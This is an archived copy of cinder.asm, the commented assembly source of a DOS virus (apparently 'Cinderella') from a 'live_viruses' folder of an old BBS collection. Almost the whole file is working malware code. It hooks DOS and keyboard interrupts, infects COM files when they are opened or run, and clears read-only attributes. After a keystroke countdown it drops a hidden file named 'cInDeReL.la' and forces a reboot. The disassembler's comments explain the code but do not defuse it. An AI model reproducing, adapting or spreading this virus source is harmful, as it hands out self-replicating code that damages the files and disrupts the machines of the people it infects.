home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / cinder.asm < prev    next >
Assembly Source File  |  1991-09-03  |  10KB  |  345 lines
  1.     page    ,132
  2. ;
  3. ;   NOTE: This virus expects to run in the 2nd half of the interrupt
  4. ;         vectors.  Therefore, it is loaded and disassembled from
  5. ;         offset 0200h.
  6. ;
  7. ;  name: cinder.vom
  8. ;
  9. ;  program type: com/bin
  10. ;
  11. ;  cpu type: 8086/8087
  12. ;
  13. ;  program loaded at 0000:0200
  14. ;
  15. ;  physical eof at 0000:0acd
  16. ;
  17. ;  program entry point at 0000:0200
  18. ;
  19. fun    segment
  20. assume    cs:fun,ds:fun,es:fun,ss:fun
  21. ;
  22. ;  references before the start of code space
  23. ;
  24.     org    0000h
  25. h_0000    label    word
  26.     org    013bh
  27. h_013b    label    word
  28. ;
  29. ;  data references to code space addresses
  30. ;
  31. ;    org    0360h
  32. ;h_0360    label    word
  33. ;
  34. ;  start of program
  35. ;
  36.     org    0200h
  37. h_0200:
  38.     mov    ah,0fbh                ;fn = virus ID
  39.     int    21h                ;call DOS
  40.     or    ah,ah                ;virus ID return?
  41.     jz    h_0231                ;yes, skip this
  42.     xor    ax,ax                ;get a 0
  43.     push    ax                ;copy INT seg
  44.     pop    es                ;to es
  45.     mov    si,0100h            ;ds:si = this virus
  46.     mov    di,0200h            ;es:di = 2nd half of INTs
  47.     mov    cx,offset h_0386-h_0200 shr 1    ;virus size in words (00c3h)
  48.     repz    movsw                ;copy virus to low mem
  49.     push    es                ;INT seg
  50.     pop    ds                ;to es
  51.     mov    di,offset h_0386        ;di = oldint21ofs
  52.     mov    si,0084h            ;si = INT 21 vector
  53.     mov    bx,offset h_024d        ;ofs of INT21HERE
  54.     call    h_0345                ;call get_set_int
  55.     mov    di,offset h_038e        ;di = oldint16ofs
  56.     mov    si,0058h            ;si = INT 16 vector
  57.     mov    bx,offset h_0357        ;ofs of INT16HERE
  58.     call    h_0345                ;call get_set_int
  59. h_0231:
  60.     push    cs                ;current segment
  61.     pop    ds                ;to ds
  62.     mov    si,[h_023b-0100h]        ;get infected_program_size(013bh)
  63.                 ;NOTE: At end of "normal" program is the
  64.                 ;      replaced start of the infected program.
  65.     mov    ah,0fch                ;fn = virus execute
  66.     int    21h                ;dos call
  67. ;
  68. h_023b    dw    0847h                ;infected_program_size
  69. ;
  70. ;   filename to be created
  71. ;
  72. h_023d    db    "cInDeReL.la"
  73. ;    db    63h,49h,6eh,44h,65h,52h,65h,4ch        ;023d
  74. ;    db    2eh,6ch,61h                ;0245
  75.     db    0ffh,00h                ;0248 ..
  76. ;
  77. ;            int24here
  78. ;
  79. h_024a:
  80.     xor    al,al                ;response = IGNORE
  81.     iret                    ;and done
  82. ;
  83. ;            int21here
  84. ;
  85. h_024d:
  86.     pushf                    ;save flags
  87.     cmp    ah,0fbh                ;fn = virus ID?
  88.     jnz    h_0257                ;no, skip this
  89.     xor    ah,ah                ;set virus ID return
  90.     popf                    ;restore flags
  91.     iret                    ;and done
  92. h_0257:
  93.     cmp    ah,0fch                ;fn = virus execute?
  94.     jnz    h_026a                ;no, skip this
  95.     popf                    ;save flags
  96.     push    ds                ;program seg
  97.     pop    es                ;to es
  98.     pop    di                ;get return IP
  99.     mov    di,0100h            ;normal COM start
  100.     push    di                ;to stack
  101.     mov    cx,offset h_0386-h_0200 shr 1    ;cx = size of virus (00c3h)
  102.     repz    movsw                ;replace program code
  103.     iret                    ;and done
  104. h_026a:
  105.     cmp    ax,3d00h            ;fn = open for read-only?
  106.     jz    h_0274                ;yes, stop here
  107.     cmp    ah,4bh                ;fn = load/execute?
  108.     jnz    h_0297                ;no, continue
  109. h_0274:
  110.     push    ax                ;save regs
  111.     push    bx
  112.     push    cx
  113.     push    dx
  114.     push    es
  115.     push    ds
  116.     push    si
  117.     push    di
  118.     push    dx                ;filename ofs
  119.     pop    di                ;to ds
  120.     push    ds                ;filename seg
  121.     pop    es                ;to es
  122.     mov    al,2eh                ;a period ('.')
  123. h_0282:
  124.     scasb                    ;look for period
  125.     loopnz    h_0282                ;not found, try again
  126.                 ;BUG: CX is NOT set!
  127.     mov    ax,[di]                ;get start of extension
  128.     or    ax,2020h            ;force lower case
  129.     cmp    ax,6f63h            ;is it 'co'? (start of COM)
  130.                 ;BUG: Extension is NOT relevant!
  131.     jz    h_029d                ;yes, keep infecting
  132. h_028f:
  133.     pop    di                ;restore all regs
  134.     pop    si
  135.     pop    ds
  136.     pop    es
  137.     pop    dx
  138.     pop    cx
  139.     pop    bx
  140.     pop    ax
  141. h_0297:
  142.     popf                    ;restore flags
  143.     jmp    dword ptr cs:[h_0386]        ;and continue INT 21
  144. h_029d:
  145.     push    ds                ;save filename seg
  146.     push    cs                ;current seg
  147.     pop    ds                ;to ds
  148.     mov    di,offset h_038a        ;di = oldint24ofs
  149.     mov    si,0090h            ;si = INT 24 vector
  150.     mov    bx,offset h_024a        ;ofs of INT24HERE
  151.     call    h_0345                ;call get_set_int
  152.     mov    si,0360h            ;si = ptr to keyboard_count
  153.     add    word ptr [si],029ah        ;update keybaord_count
  154.                         ;by 666 (decimal)
  155.     pop    ds                ;restore filename seg
  156.     mov    ax,4300h            ;fn = get file attributes
  157.     int    21h                ;call DOS
  158.     jnae    h_0331                ;error, quit
  159.     push    ds                ;save filename ofs
  160.     push    cx                ;and attributes
  161.     push    dx                ;and filename seg
  162.     and    cl,0feh                ;turn off read-only bit
  163.     mov    ax,4301h            ;fn = set file attributes
  164.     int    21h                ;call DOS
  165.     jnae    h_0329                ;error, quit
  166.     mov    ah,48h                ;fn = allocate memory
  167.     mov    bx,offset h_0386-h_0200+0fh shr 4 ;virus size (paras) (0019h)
  168.     int    21h                ;call DOS
  169.     jnae    h_0329                ;error, quit
  170.     push    ax                ;save allocated seg
  171.     push    ax                ;copy allocated seg
  172.     pop    es                ;to es
  173.     mov    ax,3d02h            ;fn = open file for read/write
  174.     int    21h                ;call DOS
  175.     pop    ds                ;allocated seg to ds
  176.     xchg    ax,bx                ;handle to bx
  177.     mov    ah,3fh                ;fn = read file
  178.     mov    cx,offset h_0386-h_0200        ;virus size (0186h)
  179.     xor    dx,dx                ;ds:dx = allocated memory
  180.     int    21h                ;call DOS
  181.     cmp    ax,offset h_0386-h_0200        ;all bytes read? (0186h)
  182.     jnz    h_0321                ;no, quit!
  183.     mov    ax,[0000h]            ;get start of just-read program
  184.     cmp    ax,0fbb4h            ;our signature?
  185.     jz    h_0321                ;yes, skip this
  186.     push    cx                ;save bytes read
  187.     mov    ax,4202h            ;fn = lseek to EOF+CX:DX
  188.     xor    cx,cx                ;cx:dx = 0
  189.     int    21h                ;call DOS
  190.     add    ah,01h                ;fn = write
  191.     mov    cs:[h_023b],ax            ;set infected_program_size
  192.     mov    ah,40h                ;fn = write (AGAIN!)
  193.     pop    cx                ;restore size
  194.     int    21h                ;call DOS
  195.     jnae    h_0321                ;error, quit
  196.     push    cx                ;save size
  197.     mov    ax,4200h            ;fn = lseek to BOF+CX:DX
  198.     xor    cx,cx                ;cx:dx = 0
  199.     int    21h                ;call DOS
  200.     mov    ah,40h                ;fn = write to file
  201.     pop    cx                ;restore size
  202.     mov    dh,02h                ;dx = 0200h = this virus
  203.     push    cs                ;current segment
  204.     pop    ds                ;to ds
  205.     int    21h                ;call DOS
  206.     mov    ax,5700h            ;fn = get file time/date
  207.     int    21h                ;call DOS
  208.     inc    al                ;fn = set file time/date
  209.     int    21h                ;call DOS
  210. h_0321:
  211.     mov    ah,3eh                ;fn = close file
  212.     int    21h                ;call DOS
  213.     mov    ah,49h                ;fn = free allocated memory
  214.     int    21h                ;call DOS
  215. h_0329:
  216.     mov    ax,4301h            ;fn = set file attributes
  217.     pop    dx                ;get filename ofs back
  218.     pop    cx                ;and attributes
  219.     pop    ds                ;and filename seg
  220.     int    21h                ;call DOS
  221. h_0331:
  222.     cli                    ;do not disturb
  223.     push    cs                ;current segment (0)
  224.     pop    ds                ;to ds
  225.     mov    si,offset h_038a        ;si = oldint24ofs
  226.     mov    di,0090h            ;di = INT 24 vector
  227.     lodsw                    ;get old INT 24 ofs
  228.     mov    [di],ax                ;replace it
  229.     lodsw                    ;get old INT 24 seg
  230.     mov    [di+02h],ax            ;replace it
  231.     sti                    ;ints are OK again
  232.     jmp    h_028f                ;cleanup stack and exit
  233. ;
  234. ;            get_set_int
  235. ;
  236. h_0345:
  237.     lodsw                    ;get INT ofs
  238.     mov    [di],ax                ;save for later
  239.     lodsw                    ;get INT seg
  240.     mov    [di+02h],ax            ;save for later
  241.     sub    si,+04h                ;backup to the INT again
  242.     cli                    ;do not disturb
  243.     mov    [si],bx                ;set new INT ofs
  244.     mov    [si+02h],ds            ;and new INT seg
  245.     sti                    ;ints are OK again
  246.     ret                    ;and done
  247. ;
  248. ;            int16here
  249. ;
  250. h_0357:
  251.     pushf                    ;save flags
  252.     or    ah,ah                ;fn = get character?
  253.     jnz    h_0380                ;no, we're done
  254.     push    ds                ;save ds
  255.     push    cs                ;current segment
  256.     pop    ds                ;to ds
  257. h_0360    equ    $+1        ;keyboard_count
  258.     mov    ax,82b2h            ;get keyboard_count
  259.     or    ax,ax                ;is it 0?
  260.     jnz    h_0379                ;no, skip this
  261.     mov    ah,3ch                ;fn = create file
  262.     mov    cl,07h                ;attribs = HIDDEN, SYSTEM, R/O
  263.     mov    dx,offset h_023d        ;ds:dx = cinderella_name
  264.     int    21h                ;call DOS
  265.     xchg    ax,bx                ;handle to bx
  266.     mov    ah,3eh                ;fn = close file
  267.     int    21h                ;call DOS
  268.     jmp    0f000h:0e05bh            ;goto test CPU (reboot?)
  269. h_0379:
  270.     dec    word ptr [h_0360]        ;udpate keyboard_count
  271.     xor    ax,ax                ;reset fn
  272.     pop    ds                ;restore ds
  273. h_0380:
  274.     popf                    ;get flags back
  275.     jmp    dword ptr cs:[h_038e]        ;continue INT 16
  276. ;
  277. ;   end of virus itself.  Data space/infected program follows
  278. h_0386    dw    5858h                ;oldint21ofs
  279.     dw    5858h                ;0386 XXXX
  280. h_038a    db    58h,58h,58h,58h            ;oldint24ofs
  281. h_038e    db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"  ;oldint16ofs
  282.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  283.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  284.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  285.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  286.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  287.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  288.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  289.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  290.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  291.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  292.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  293.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  294.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  295.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  296.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  297.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  298.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  299.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  300.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  301.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  302.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  303.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  304.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  305.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  306.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  307.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  308.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  309.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  310.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  311.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  312.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  313.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  314.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  315.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  316.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  317.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  318.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  319.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  320.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  321.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  322.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  323.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  324.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  325.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  326.     db    "XXXXXXXXXXXXXXXX"
  327.     dw    03bah,0b401h,0cd09h,0cd21h        ;093e ......!.
  328.     dw    0e920h,073bh,6854h,7369h        ;0946  .;.This
  329.     db    " is a tiny COM program, padded t"
  330.     db    "o be larger."
  331.     db    0dh,0ah                    ;097a
  332.     db    "$XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  333.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  334.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  335.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  336.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  337.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  338.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  339.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  340.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  341.     db    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
  342.     db    "XXXXXXXXXXXXXXXXX"
  343. fun    ends
  344.     end    h_0200
  345.